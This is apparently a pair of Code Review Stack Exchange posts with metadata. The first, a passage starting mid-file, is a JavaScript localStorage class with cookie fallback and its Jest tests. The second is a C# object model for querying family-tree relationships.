* @returns {*}
* @throws {ReferenceError} When no browser based storage is available
* @param {string|number} key - Name of key to look up value for.
* @this Browser_Storage
*/
getItem(key) {
if (this.supports_local_storage) {
const encoded_key = encodeURIComponent(key);
const raw_value = localStorage.getItem(encoded_key);
if (raw_value === null || raw_value === 'undefined') return undefined;
return JSON.parse(decodeURIComponent(raw_value));
} else if (this.supports_cookies) {
return this._getCookieItem(key);
}
throw new ReferenceError('Browser storage unavailable as of last constructorRefresh()');
}
/**
* Removes value by key from browser storage; cookies require page refresh
* @returns {boolean}
* @throws {ReferenceError} When no browser based storage is available
* @this Browser_Storage
*/
removeItem(key) {
if (this.supports_local_storage) {
localStorage.removeItem(key);
return true;
} else if (this.supports_cookies) {
// Note, unsetting and expiring in the past is how
// to remove one cookie upon the next page load.
return this.setItem(key, '', -7);
}
throw new ReferenceError('Browser storage unavailable as of last constructorRefresh()');
}
/**
* Stores encoded JSON within browser
* @returns {boolean}
* @throws {ReferenceError} When no browser based storage is available
* @param {string|number} key - _variable name_ to store value under
* @param {*} value - stored either under localStorage or as a cookie
* @param {number} [days_to_live=false] - how long a browser is suggested to keep cookies
* @this Browser_Storage
*/
setItem(key, value, days_to_live = false) {
if (this.supports_local_storage) {
localStorage.setItem(
encodeURIComponent(key),
encodeURIComponent(JSON.stringify(value))
);
return true;
} else if (this.supports_cookies) {
return this._setCookieItem(key, value, days_to_live);
}
throw new ReferenceError('Browser storage unavailable as of last constructorRefresh()');
}
/**
* Lists keys that may point to values
* @returns {boolean}
* @throws {ReferenceError} When no browser based storage is available
* @this Browser_Storage
*/
keys() {
if (this.supports_local_storage) {
return Object.keys(localStorage);
} else if (this.supports_cookies) {
let cookie_keys = [];
document.cookie.split(';').forEach((pare) => {
cookie_keys.push(pare.split('=')[0].trim());
});
return cookie_keys;
}
throw new ReferenceError('Browser storage unavailable as of last constructorRefresh()');
}
/**
* Clears **all** stored values from either localStorage or cookies
* @returns {boolean}
* @throws {ReferenceError} When no browser based storage is available
* @this Browser_Storage
*/
clear() {
if (this.supports_local_storage) {
localStorage.clear();
return true;
} else if (this.supports_cookies) {
document.cookie.split(';').forEach((cookie) => {
const decoded_key = decodeURIComponent(cookie.split('=')[0].trim());
this.removeItem(decoded_key);
});
return true;
}
throw new ReferenceError('Browser storage unavailable as of last constructorRefresh()');
}
/**
* Generates `{data.key: data.value}` JSON from localStorage or cookies
* @yields {stored_data}
* @this Browser_Storage
*/
*iterator() {
if (this.supports_local_storage) {
const keys = Object.keys(localStorage);
for (let i = 0; i < keys.length; i++) {
const encoded_key = keys[i];
const decoded_key = decodeURIComponent(encoded_key);
const raw_value = localStorage.getItem(encoded_key);
// Note, `JSON.pars()` has a _finicky appetite_
if (raw_value === null || raw_value === undefined || raw_value === 'undefined') {
yield {key: decoded_key, value: undefined};
} else {
yield {key: decoded_key, value: JSON.parse(decodeURIComponent(raw_value))};
}
}
} else if (this.supports_cookies) {
const cookies = document.cookie.split(';');
for (let i = 0; i < cookies.length; i++) {
const decoded_key = decodeURIComponent(cookies[i].split('=')[0].trim());
yield {key: decoded_key, value: this._getCookieItem(decoded_key)};
}
}
else {
throw new ReferenceError('Browser storage unavailable as of last constructorRefresh()');
}
}
/**
* See `this.iterator()` method
* @returns {stored_data}
* @this Browser_Storage
*/
[Symbol.iterator]() {
return this.iterator();
}
}
/**
* Exports are for Jest who uses Node for Travis-CI tests on gh-pages branch
* https://javascript-utilities.github.io/browser-storage/
*/
if (typeof(module) !== 'undefined') module.exports = Browser_Storage;
/**
* @typedef stored_data
* @type {Object}
* @property {string|number|float} key - `data.key` from `localStorage` or cookies
* @property {*} value - `data.value` from `localStorage` or cookies
*/
</code></pre>
<h3><code>main.css</code></h3>
<pre class="lang-css prettyprint-override"><code>/**
* 1. Center element
* 2. Re-justify text
*/
body {
text-align: center; /* 1 */
}
.container__main_content {
max-width: 80%;
max-width: 80vw;
display: inline-block; /* 1 */
text-align: left; /* 2 */
}
/**
* Privacy notice footer stuff
*/
.container__privacy_notice {
position: fixed;
bottom: 5px;
max-width: 80%;
max-width: 80vw;
background-color: lightgrey;
text-align: left; /* 2 */
}
/**
* 1. Prevent label text from being selectable
*/
.privacy_notice__label {
background-color: black;
color: white;
font-size: 1.5rem;
padding: 5px 10px;
float: right;
-webkit-user-select: none; /* 1 */
-moz-user-select: none; /* 1 */
-ms-user-select: none; /* 1 */
user-select: none; /* 1 */
}
.privacy_notice__label:hover {
color: lightgrey;
}
/* State of label when checkbox is unchecked */
.privacy_notice__label::after {
content: attr(value);
}
/**
* Styling test input/output elements
*/
.container__live_tests {
list-style: none;
text-align: left;
max-width: 80%;
max-width: 80vw;
margin-left: auto;
margin-right: auto;
}
.live_tests__output__get__value:empty::after {
content: attr(data-after);
display: block;
}
.mouse__no_touch {
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
.mouse__default {
cursor: default;
}
/**
* Checkbox hacks
*/
.hidden__input {
display: none;
visibility: hidden;
opacity: 0;
filter: alpha(opacity=0);
}
/* State updates for when checkbox is checked */
.privacy_notice__checkbox:checked ~ .container__privacy_notice {
box-shadow: unset;
max-width: 1.5rem;
max-height: 1.5rem;
}
.privacy_notice__checkbox:checked ~ .container__privacy_notice * {
visibility: hidden;
opacity: 0;
filter: alpha(opacity=0);
}
.privacy_notice__checkbox:checked ~ .container__privacy_notice .privacy_notice__label::after {
content: attr(checked);
}
/* State of label when checkbox is checked */
.privacy_notice__checkbox:checked ~ .container__privacy_notice::after {
content: '\1F56D';
position: absolute;
bottom: 5px;
left: 5px;
}
/* Combo of checked and hover state updates */
.privacy_notice__checkbox:checked ~ .container__privacy_notice:hover {
max-width: 80%;
max-width: 80vw;
max-height: unset;
}
.privacy_notice__checkbox:checked ~ .container__privacy_notice:hover::after {
display: none;
visibility: hidden;
opacity: 0;
filter: alpha(opacity=0);
}
.privacy_notice__checkbox:checked ~ .container__privacy_notice:hover * {
visibility: visible;
opacity: 1;
filter: alpha(opacity=100);
}
</code></pre>
<h3><code>index.html</code></h3>
<pre class="lang-html prettyprint-override"><code><!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<title>Browser_Storage Example</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
<link rel="icon" type="image/x-icon" href="favicon.ico">
<link type="text/css" href="assets/css/main.css" rel="stylesheet"/>
<script src="assets/javascript/modules/browser-storage/browser-storage.js" type="text/javascript"></script>
<script src="assets/javascript/main.js" type="text/javascript"></script>
</head>
<body onload="restore_settings();" onunload="store_settings();">
<div class="container__main_content">
<p>
This is a static site that provides the illusion of remembering a client.
Test by accepting the <i>privacy notice</i> and then refreshing or
closing and re-opening a tab pointing to the current URL.
</p>
<p>
<kbd>Ctrl</kbd> <kbd>R</kbd> or <kbd>Ctrl</kbd> <kbd>Shift</kbd> <kbd>R</kbd>
will refresh most desktop browsers.
</p>
<p>
Then reject the privacy notice by clicking on the Acceptable button
again to revert the behavior of this site.
</p>
<p>
Use <kbd>Ctrl</kbd> <kbd>Shift</kbd> <kbd>I</kbd> to open debugger on a
desktop browser, then navigate to the Storage tab/pane to observe
JavaScript doing things for the above mentioned actions.
</p>
</div>
<ul class="container__live_tests">
<h2>Test some features</h2>
<li>
<h3>Set a value under a key</h3>
<form class="">
<textarea name="set_key"
id="input_text__set__key"
class="live_tests__input_text__set__key"
rows="1"
>Input a Key</textarea>
<br>
<textarea name="set_value"
id="input_text__set__value"
class="live_tests__input_text__set__value"
rows="1"
>Input a Value</textarea>
<br>
<input type="button"
onclick="input_text_setItem('input_text__set__key', 'input_text__set__value');"
name="set"
value="Set">
</form>
</li>
<li>
<h3>Get some value from a key</h3>
<input class="live_tests__input__get__key"
id="input_text__get__key"
type="text"
name="key"
value="input a Key">
<input type="button"
onclick="input_text_get('input_text__get__key', 'output__value', false);"
name="get"
value="Get">
<p class="live_tests__output__get__value mouse__no_touch mouse__default"
id="output__value"
data-after="undefined"></p>
</li>
</ul>
<input type="checkbox"
name="checkbox__privacy_notice"
class="hidden__input privacy_notice__checkbox"
id="trigger__privacy_notice"
onchange="toggle_privacy_notice(this);">
<div class="container__privacy_notice">
<p>
This site uses JavaScript, and localStorage or cookies of your browser,
to enhance your experience here, however, this site currently does
<strong>not</strong> store any data about your activity severer-side.
</p>
<p>
Review the <a href="https://github.com/javascript-utilities/browser-storage#privacy">Privacy</a>
and <a href="https://github.com/javascript-utilities/browser-storage#security">Security</a>
notices regarding the
<a href="https://github.com/javascript-utilities/browser-storage/blob/master/browser-storage.js">
browser-storage.js
</a>, for more details on how client-side storage and scripting are utilized.
</p>
<label for="trigger__privacy_notice"
class="menu__trigger__label privacy_notice__label"
title="Click to toggle."
value="false"
checked="true"
>Acceptable: </label>
</div>
</body>
</html>
</code></pre>
<blockquote>
<p>Note, I did try to use the web code option when writing this question but that caused various errors... probably for good reasons based on the kinds of errors, so see the live demo linked above in order to check it out in console without cloning.</p>
</blockquote>
<h3><code>browser-storage.test.js</code></h3>
<blockquote>
<p>Jest tests preformed on above <em>questionable</em> JavaScript code. Note, none of the string questions within tests are directed at readers; it's more of questions that the CI server asks of code revisions.</p>
</blockquote>
<pre><code>/**
* @author S0AndS0
* @copyright AGPL-3.0
* @example <caption>Jest Tests for Browser Storage</caption>
* // Initialize new class instance and run tests
* const test_storage = new Browser_Storage_Test();
* test_storage.runTests();
*/
class Browser_Storage_Test {
/**
* Sets properties used by other methods of this class
* @returns {none}
* @property {object} storage - Class instance of `Browser_Storage` to test
* @this Browser_Storage_Test
* @class
*/
constructor() {
this.storage = new (require('../assets/javascript/modules/browser-storage/browser-storage.js'))();
}
/**
* Runs the tests in an order that made since to someone at the time
* @returns {none}
* @this Browser_Storage_Test
*/
runTests() {
this.setAndGet();
this.setAndGet({supports_local_storage: false});
this.iterability();
this.iterability({supports_local_storage: true});
this.errorThrowers();
this.resetsAndWipes();
}
/**
* Sets properties for `this.storage` from key value pares
* @returns {none}
* @param {forced_states} states - JSON/_dictionary_ of states to force upon storage instance
* @this Browser_Storage_Test
*/
forceStorageState(states) {
Object.keys(states).forEach((key) => {
test('Forcing ' + this.storage.constructor.name + '[' + key + '] to be ' + states[key], () => {
this.storage[key] = states[key];
expect(this.storage[key]).toBe(states[key]);
});
});
}
/**
* Attempts to break `setItem()` and `getItem()` methods for `Browser_Storage` instance
* @returns {none}
* @param {forced_states} states - If object, passes to `this.forceStorageState`
* @this Browser_Storage_Test
*/
setAndGet(states = false) {
if (typeof(states) === 'object') this.forceStorageState(states);
const test_char = String.fromCharCode('9749');
const data_map = {
true: true,
false: false,
char: test_char,
list: [1, 'two', 3.5, ["inner", "and 'nested' strings", {obj_key: 'obj_value'}]],
inner_json: {'one more thing?': {or: 'perhaps', two: 'more?'}},
1: 'one',
2.0: 'float',
'&^': '?!',
'~': "*.+",
empty_sting: '',
bad_idea: null,
bad_idea2: 'null',
bad_idea3: 'undefined',
bad_idea4: undefined
}
test('Do all test key/value pares from `data_map` operate with `setItem` and `getItem` methods?', () => {
let days_to_live = 1;
Object.keys(data_map).forEach((key) => {
expect(this.storage.setItem(key, data_map[key], days_to_live)).toBe(true);
expect(this.storage.getItem(key)).toStrictEqual(data_map[key]);
days_to_live++
});
});
test('How about a CharCode key with `setItem()` and `getItem()` methods?', () => {
// `9842` is decimal for _`universal recycling`_
const test_char = String.fromCharCode('9842');
expect(this.storage.setItem(test_char, 'universal recycling', 3)).toBe(true);
expect(this.storage.getItem(test_char)).toBe('universal recycling');
});
test('Does `days_to_live=0` with `setItem()` return `true`?', () => {
expect(this.storage.setItem('Casper', 'Was never here?', 0)).toBe(true);
});
test('With `getItem("Casper")` is there any trace of the _ghoast_ data?', () => {
// Most browsers this would not be required
if (this.storage.supports_local_storage) {
expect(this.storage.keys()).toContain('Casper');
} else {
expect(this.storage.keys()).not.toContain('Casper');
}
});
}
/**
* Reports failures if things do not throw errors when they should
* @returns {none}
* @this Browser_Storage_Test
*/
errorThrowers() {
this.forceStorageState({supports_local_storage: false, supports_cookies: false});
test('Will `setItem()` throw a `ReferenceError` without storage support?', () => {
expect(() => {
this.storage.setItem('test__boolean', true, 3);
}).toThrow(ReferenceError);
});
test('Will `getItem()` throw a `ReferenceError` without storage support?', () => {
expect(() => {
this.storage.getItem('Anything?');
}).toThrow(ReferenceError);
});
test('Will `removeItem()` throw a `ReferenceError` without storage support?', () => {
expect(() => {
this.storage.removeItem('Anything?');
}).toThrow(ReferenceError);
});
test('Will `clear()` throw a `ReferenceError` without storage support?', () => {
expect(() => {
this.storage.clear();
}).toThrow(ReferenceError);
});
test('Will `keys()` throw a `ReferenceError` without storage support?', () => {
expect(() => {
this.storage.keys();
}).toThrow(ReferenceError);
});
test('Will `while (data = storage_iter.next().value)` throw a `ReferenceError` without storage support?', () => {
const storage_iter = this.storage.iterator();
expect(() => {
storage_iter.next().value;
}).toThrow(ReferenceError);
});
}
/**
* Tests ways class may be iterated with
* @returns {none}
* @this Browser_Storage_Test
*/
iterability(states = false) {
if (typeof(states) === 'object') this.forceStorageState(states);
test('What does `for of storage` do?', () => {
for (const data of this.storage) {
expect(this.storage.getItem(data.key)).toStrictEqual(data.value);
}
});
test('What does `while (data=storage_iter.next().value) do?`', () => {
const storage_iter = this.storage.iterator();
let data; while (data = storage_iter.next().value) {
expect(this.storage.getItem(data.key)).toStrictEqual(data.value);
}
});
}
/**
* Reports failures if any values _linger_ when wiping
* @returns {none}
* @this Browser_Storage_Test
*/
resetsAndWipes() {
test('Do supportsCookies and supportsLocalStorage return boolean', () => {
expect(this.storage.supportsCookies()).toBe(true);
expect(this.storage.constructor.supportsLocalStorage()).toBe(true);
});
test('Re-freshing class properties', () => {
expect(this.storage.constructorRefresh()).toBeUndefined();
this.storage.constructorRefresh();
expect(this.storage.supports_local_storage).toBe(true);
});
test('That values can be removed by key', () => {
this.storage.keys().forEach((key) => {
expect(this.storage.removeItem(key)).toBe(true);
expect(this.storage.getItem(key)).toBeUndefined();
});
expect(this.storage.keys()).toStrictEqual([]);
});
this.forceStorageState({supports_local_storage: false});
test('Clearing cookies returns true', () => {
expect(this.storage.clear()).toBe(true);
});
test('Are there any remaining values not `undefined`?', () => {
this.storage.keys().forEach((key) => {
expect(this.storage.getItem(key)).toBeUndefined();
});
});
this.forceStorageState({supports_local_storage: true});
test('Clearing localStorage returns true', () => {
expect(this.storage.clear()).toBe(true);
});
}
}
const test_storage = new Browser_Storage_Test();
test_storage.runTests();
/**
* @typedef forced_states
* @type {Object|boolean}
* @property {boolean} supports_local_storage - cached from `this.supportsLocalStorage()`
* @property {boolean} supports_cookies - cached from `this.supportsCookies()`
* @property {boolean} storage_available - cached on if either localStorage or cookies are supported
*/
</code></pre>
<h2>Questions</h2>
<ul>
<li><p>In this <em>day-n-age</em> is there any point in using cookies for a local storage fallback?</p></li>
<li><p>is there any point in using the old syntax of getting OO behavior from JavaScript or will using the <code>class</code> and <code>function</code> keywords be sufficient?</p></li>
<li><p>I keep running across <code>npm</code> but that seems to be more focused on Node related JavaScript, should I consider issuing <em><code>npm init .</code></em> or would that <em>pollute</em> their package management system?</p></li>
</ul>
<blockquote>
<p>If projects like this are a good candidate for <code>npm</code>, then some tips on Operating System agnostic ways of issuing <code>Git</code> commands would be excellent.</p>
</blockquote>
<ul>
<li><s>Currently I'm using <code>decodeURIComponent</code> to <code>JSON.parse</code> when returning browser stored values, however, that leads to requiring a <code>try</code>/<code>catch</code> for strings which seems messy, so is there a <em>better</em> way of retrieving values?</s></li>
</ul>
<blockquote>
<p>Never mind that last bit, got it sorted... mostly</p>
</blockquote>
<ul>
<li><p>Where have I messed up and/or how can code execution be improved without sacrificing readability?</p></li>
<li><p>One thing I find bothersome about using <em><code>checkbox hacks</code></em> is accessibility, are there any <em>good</em> ways of getting <kbd>Tab</kbd> and <kbd>Space</kbd>/<kbd>Enter</kbd> support?</p></li>
</ul>
<p><strong>Testing related questions</strong></p>
<p>Currently lines <code>55</code>,<code>56</code>...</p>
<pre><code>static supportsLocalStorage() {
// Because Opera and may be other browsers `setItem`
// is available but with space set to _`0`_
try {
localStorage.setItem('test_key', true);
} catch (e) {
if (!(e instanceof ReferenceError)) throw e; // Line ~55
return false; // Line ~56
} finally {
localStorage.removeItem('test_key');
}
return true;
}
</code></pre>
<p>... and line <code>74</code>...</p>
<pre><code>supportsCookies() {
if (navigator.cookieEnabled) return true;
if (this._setCookieItem('testcookie', '', 7)) {
return this._setCookieItem('testcookie', '', -7);
}
return false; // Line ~74
}
</code></pre>
<p>... and lines <code>103</code> through <code>104</code>...</p>
<pre><code>_setCookieItem(key, value, days_to_live) {
// ... Trimmed
try {
document.cookie = encoded_key + '=' + encoded_value + expires + '; path=/';
} catch (e) {
if (!(e instanceof ReferenceError)) throw e; // Line ~103
return false // Line ~104
} finally {
return true;
}
}
</code></pre>
<p>... seem inaccessible to Jest without resorting to <em>Mocking</em> both storage options.</p>
<p>Additionally for Jests tests...</p>
<pre><code>errorThrowers() {
// ... trimmed
test('Will `for (data of storage)` throw a `ReferenceError` without storage support?', () => {
expect(() => {
for (data of s) console.error('We should have not seen -> ' + data.key + ': ' + data.value);
}).toThrow(ReferenceError);
});
// ... above _lowers_ coverage score for `statements`
// where as the following does not...
test('Will `while (data = storage_iter.next().value)` throw a `ReferenceError` without storage support?', () => {
const storage_iter = this.storage.iterator();
expect(() => {
storage_iter.next().value;
}).toThrow(ReferenceError);
});
}
</code></pre>
<p>... how can I get Jest to <em>know</em> that the for loop's <em>inner bits</em> shouldn't ever get touched?</p>
<p>I do not expect one person to attempt to answer all of the above so feel free to focus on one, I'll up-vote and link to answers that I believe are valid. And if someone does attempt to answer the majority or remaining questions then I'll mark that as acceptable too.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T18:25:27.520",
"Id": "463750",
"Score": "1",
"body": "_\"In this day-n-age is there any point in using cookies for a local storage fallback?\"_ Good question. `caniuse.com` is always a useful reference. You can see that in early 2020, `localStorage` has had near-universal support from desktop browsers for the best part of a decade or more and even East Asian mobile browsers are now finding ways to integrate `localStorage`. See: https://caniuse.com/#search=localstorage"
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T00:05:13.337",
"Id": "222831",
"Score": "3",
"Tags": [
"javascript",
"html",
"unit-testing",
"css"
],
"Title": "JavaScript `localStorage` with `document.cookie` fallback for static web sites"
} | 222831 |
<p>I'm trying to model family relationships in a OO way, i.e. As we update the relationships between two individuals our model must be able to find the people given a person and the type of relationship</p>
<blockquote>
<p>• Given a ‘name’ and a ‘relationship’, you should output the people
corresponding to the relationship in the order in which they were
added to the family tree.</p>
<p>• You should be able to add a child to any family in the tree through
the mother.</p>
<pre><code>Sample input
ADD_CHILD Chitra Aria Female
GET_RELATIONSHIP Lavnya Maternal-Aunt
GET_RELATIONSHIP Aria Siblings
Sample Output
CHILD_ADDITION_SUCCEEDED
Aria
Jnki Ahit
</code></pre>
</blockquote>
<p>Full text of the problem <a href="https://www.geektrust.in/coding-problem/backend/family" rel="nofollow noreferrer">here</a> </p>
<p>My approach is mostly from <a href="https://stackoverflow.com/questions/56519345/modeling-family-relationships-using-a-graph/56537069">this</a> SO question. </p>
<ul>
<li>The relationship between two individuals is maintained as a graph using the adjacency list representation in the <code>FamilyGraph</code> class.</li>
<li><code>PersonStore</code> acts as a repository of the persons involved.</li>
<li><code>BaseRelationships</code> is a static class which provides extension methods on the <code>Person</code> class for the intrinsic relationships that can be used to build to find any sort of relationships.</li>
<li><code>Relationships</code> is the public facing API which has all the relations that our model can currently figure out. </li>
</ul>
<p><code>Person</code> class</p>
<pre><code>namespace Family.Implementation
{
public class PersonStore : IPersonStore
{
private Dictionary<string, Person> people;
public PersonStore()
{
people = new Dictionary<string, Person>();
}
public void Add(Person person)
{
if(Contains(person.Name))
{
throw new ArgumentException($"{person.Name} is already present");
}
people.Add(person.Name, person);
}
public void Add(IEnumerable<Person> people)
{
foreach (var person in people)
{
try
{
Add(person);
}
catch (Exception)
{
throw;
}
}
}
public bool Contains(string personName)
{
return people.ContainsKey(personName);
}
public IEnumerable<Person> GetPeople(List<string> people)
{
List<Person> result = new List<Person>();
people.ForEach(person => {
try
{
Person personObject = GetPerson(person);
result.Add(personObject);
}
catch (Exception)
{
throw;
}
});
return result;
}
public Person GetPerson(string personName)
{
Person person;
bool result = people.TryGetValue(personName, out person);
if(!result)
{
throw new ArgumentException($"{personName} isn't found");
}
return person;
}
}
}
</code></pre>
<p><code>FamilyGraph</code> class</p>
<pre><code>namespace Family.Implementation
{
public class FamilyGraph : IFamilyGraph
{
private Dictionary<Person, PersonRelationships> Families;
public FamilyGraph()
{
Families = new Dictionary<Person, PersonRelationships>();
}
public IPersonStore PersonStore { get { return ServiceLocator.GetService<IPersonStore>(); } }
public void Add(EdgeInput inputEdge)
{
Edge edge;
try
{
edge = GetEdge(inputEdge);
}
catch (ArgumentException)
{
throw;
}
switch (edge.RelationshipType)
{
case Enums.RelationshipType.Parent:
AddParentRelationship(edge);
return;
case Enums.RelationshipType.Spouse:
AddSpouseRelationship(edge);
return;
}
}
private void AddSpouseRelationship(Edge edge)
{
PersonRelationships sourcePersonRelationships, targetPersonRelationships;
Families.TryAdd(edge.Source, new PersonRelationships());
Families.TryAdd(edge.Target, new PersonRelationships());
Families.TryGetValue(edge.Source, out sourcePersonRelationships);
Families.TryGetValue(edge.Target, out targetPersonRelationships);
if (targetPersonRelationships.Spouse == null && sourcePersonRelationships.Spouse == null)
{
targetPersonRelationships.AddSpouse(edge.Source);
sourcePersonRelationships.AddSpouse(edge.Target);
}
else
{
throw new InvalidOperationException($"Cannot add spouse");
}
}
private void AddParentRelationship(Edge edge)
{
PersonRelationships sourcePersonRelationships, targetPersonRelationships;
Families.TryAdd(edge.Source, new PersonRelationships());
Families.TryAdd(edge.Target, new PersonRelationships());
Families.TryGetValue(edge.Source, out sourcePersonRelationships);
Families.TryGetValue(edge.Target, out targetPersonRelationships);
if (targetPersonRelationships.CanAddParent(edge.Source))
{
targetPersonRelationships.AddParent(edge.Source);
sourcePersonRelationships.AddEdge(edge);
}
else
{
throw new InvalidOperationException($"Cannot add parents to {edge.Target.Name}");
}
}
public Edge GetEdge(EdgeInput inputEdge)
{
Person source, target;
try
{
source = PersonStore.GetPerson(inputEdge.Source);
target = PersonStore.GetPerson(inputEdge.Target);
}
catch (Exception)
{
throw;
}
return new Edge(source, target, inputEdge.RelationshipType);
}
public IPersonRelationships Get(Person person)
{
PersonRelationships personRelationships;
Families.TryGetValue(person, out personRelationships);
return personRelationships;
}
}
}
</code></pre>
<p>and the related DTO's <code>PersonRelationship</code>, <code>Person</code> and <code>EdgeInput</code></p>
<pre><code>namespace Family.Implementation
{
public sealed class PersonRelationships : IPersonRelationships
{
public List<Edge> Edges { get; private set; }
public List<Person> Parents { get; private set; }
public Person Spouse { get; private set; }
public PersonRelationships()
{
Edges = new List<Edge>();
Parents = new List<Person>();
}
public PersonRelationships(List<Edge> edges, List<Person> persons)
{
Edges = edges;
Parents = persons;
}
public bool CanAddParent(Person parent)
{
if (Parents.Count() == 2)
return false;
return !Parents.Any(m => m.Gender == parent.Gender);
}
public void AddEdge(Edge edge)
{
Edges.Add(edge);
}
public void AddParent(Person parent)
{
Parents.Add(parent);
}
public void AddSpouse(Person spouse)
{
Spouse = spouse;
}
}
}
namespace Family.DTO
{
public class Edge
{
public Edge(Person source, Person target, RelationshipType relationshipType)
{
Source = source ?? throw new ArgumentNullException(nameof(source));
Target = target ?? throw new ArgumentNullException(nameof(target));
RelationshipType = relationshipType;
}
public Person Source { get; }
public Person Target { get; }
public RelationshipType RelationshipType { get; }
}
}
namespace Family.DTO
{
public class Person
{
public Person(string name, Gender gender)
{
if (string.IsNullOrWhiteSpace(name))
{
throw new ArgumentException("message", nameof(name));
}
Name = name;
Gender = gender;
}
public string Name { get; }
public Gender Gender { get; }
}
}
</code></pre>
<p>enum <code>RelationshipType</code></p>
<pre><code>namespace Family.Enums
{
public enum RelationshipType
{
Parent,
Spouse
}
}
</code></pre>
<p>and the <code>BaseRelationships</code> that exposes the intrinsic functions as extention methods.</p>
<pre><code>namespace Family.Implementation
{
public static class BaseRelationships
{
public static IFamilyGraph FamilyGraph = ServiceLocator.GetService<IFamilyGraph>();
public static IEnumerable<Person> Parents(this IEnumerable<Person> people, Gender? gender = null)
{
return people.SelectMany(m => m.Parents());
}
public static IEnumerable<Person> Children(this IEnumerable<Person> people, Gender? gender = null)
{
return people.SelectMany(m => m.Children(gender));
}
public static IEnumerable<Person> Siblings(this IEnumerable<Person> people, Gender? gender = null)
{
return people.SelectMany(m => m.Siblings(gender));
}
public static IEnumerable<Person> Spouse(this IEnumerable<Person> people)
{
return people.SelectMany(m => m.Spouse());
}
public static IEnumerable<Person> Parents(this Person person, Gender? gender = null)
{
List<Person> result = new List<Person>();
IPersonRelationships personRelationships = FamilyGraph.Get(person);
if(personRelationships == null)
{
return result;
}
IEnumerable<Person> parents = personRelationships.Parents
.Where(m => gender == null || m.Gender == gender);
result.AddRange(parents);
return result;
}
public static IEnumerable<Person> Children(this Person person, Gender? gender = null)
{
List<Person> result = new List<Person>();
IPersonRelationships personRelationships = FamilyGraph.Get(person);
List<Person> children = personRelationships.Edges
.Where(m => m.RelationshipType == RelationshipType.Parent)
.Where(m=> gender == null || m.Target.Gender == gender)
.Select(m => m.Target)
.ToList();
result.AddRange(children);
return result;
}
public static IEnumerable<Person> Siblings(this Person person, Gender? gender = null)
{
return person.Parents()
.Children(gender)
.Distinct()
.Where(m => !m.Equals(person));
}
public static IEnumerable<Person> Spouse(this Person person)
{
List<Person> result = new List<Person>();
IPersonRelationships personRelationships = FamilyGraph.Get(person);
if (personRelationships.Spouse != null)
{
result.Add(personRelationships.Spouse);
}
return result;
}
}
}
</code></pre>
<p>and the public facing API</p>
<pre><code>namespace Family.Implementation
{
public sealed class Relationships : IRelationships
{
private IPersonStore PersonStore;
public Relationships()
{
var personStore = ServiceLocator.GetService<IPersonStore>();
PersonStore = personStore ?? throw new Exception("Could not load dependencies");
}
public Person GetPerson(string person)
{
Person personObject;
try
{
personObject = PersonStore.GetPerson(person);
}
catch (Exception)
{
throw;
}
return personObject;
}
public IEnumerable<Person> BrotherInLaw(string person)
{
return InLaws(person, Gender.Male);
}
public IEnumerable<Person> Daughter(string person)
{
return Children(person, Gender.Female);
}
public IEnumerable<Person> MaternalAunt(string person)
{
return UncleAndAunt(person, "Maternal", "Aunt");
}
public IEnumerable<Person> MaternalUncle(string person)
{
return UncleAndAunt(person, "Maternal", "Uncle");
}
public IEnumerable<Person> PaternalAunt(string person)
{
return UncleAndAunt(person, "Paternal", "Aunt");
}
public IEnumerable<Person> PaternalUncle(string person)
{
return UncleAndAunt(person, "Paternal", "Uncle");
}
public IEnumerable<Person> Siblings(string person)
{
Person personObject;
try
{
personObject = GetPerson(person);
}
catch (Exception)
{
throw;
}
return personObject.Siblings();
}
public IEnumerable<Person> SisterInLaw(string person)
{
return InLaws(person, Gender.Female);
}
public IEnumerable<Person> Son(string person)
{
return Children(person, Gender.Male);
}
private IEnumerable<Person> UncleAndAunt(string person, string direction, string uncleOrAunt)
{
Person personObject;
try
{
personObject = GetPerson(person);
}
catch (Exception)
{
throw;
}
Gender parentsGender = direction == "Maternal" ? Gender.Female : Gender.Male;
Gender uncleOrAuntGender = uncleOrAunt == "Aunt" ? Gender.Female : Gender.Male;
return personObject.Parents(parentsGender)
.Siblings(uncleOrAuntGender);
}
private IEnumerable<Person> Children(string person, Gender gender)
{
Person personObject;
try
{
personObject = GetPerson(person);
}
catch (Exception)
{
throw;
}
return personObject.Children(gender);
}
private IEnumerable<Person> InLaws(string person, Gender gender)
{
Person personObject;
try
{
personObject = GetPerson(person);
}
catch (Exception)
{
throw;
}
return personObject.Spouse().Siblings(gender);
}
}
}
</code></pre>
<ul>
<li>I user service locator instead of DI as I have to inject the <code>FamilyGraph</code> dependency on the <code>BaseExtentions</code> static class to make them as extensions methods. Which unfortunately made testing really hard. </li>
<li>I believe extending the four intrinsic functions as extension methods make writing further relationships more intuitive and understandable</li>
</ul>
<p>It would be great if you can comment on</p>
<ul>
<li>If the object composition is accurate enough.</li>
<li>way to better inject <code>FamilyGraph</code> and yet have them as extension methods to the <code>Person</code> Object</li>
</ul>
<p><strong>Note</strong>
I have ignored the IO part to call these relationships and also add the child for the review. </p>
<p>The entire code is also available on <a href="https://github.com/benneyman/Family" rel="nofollow noreferrer">GitHub</a> to make it easier to read.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T11:28:03.110",
"Id": "431558",
"Score": "0",
"body": "Your `Families` dictionary is an _ordinary_ one so it shouldn't have the `TryAdd` method. It _belongs_ to the `ConcurrentDictionary`. Could you clarify this?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T11:44:52.483",
"Id": "431562",
"Score": "0",
"body": "@t3chb0t: .NET Core 2.0+."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T17:49:56.527",
"Id": "431632",
"Score": "0",
"body": "What do you mean with an 'accurate' object composition?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T09:48:30.123",
"Id": "431702",
"Score": "0",
"body": "@dfhwze As in proper object composition following SOLID principles."
}
] | [
{
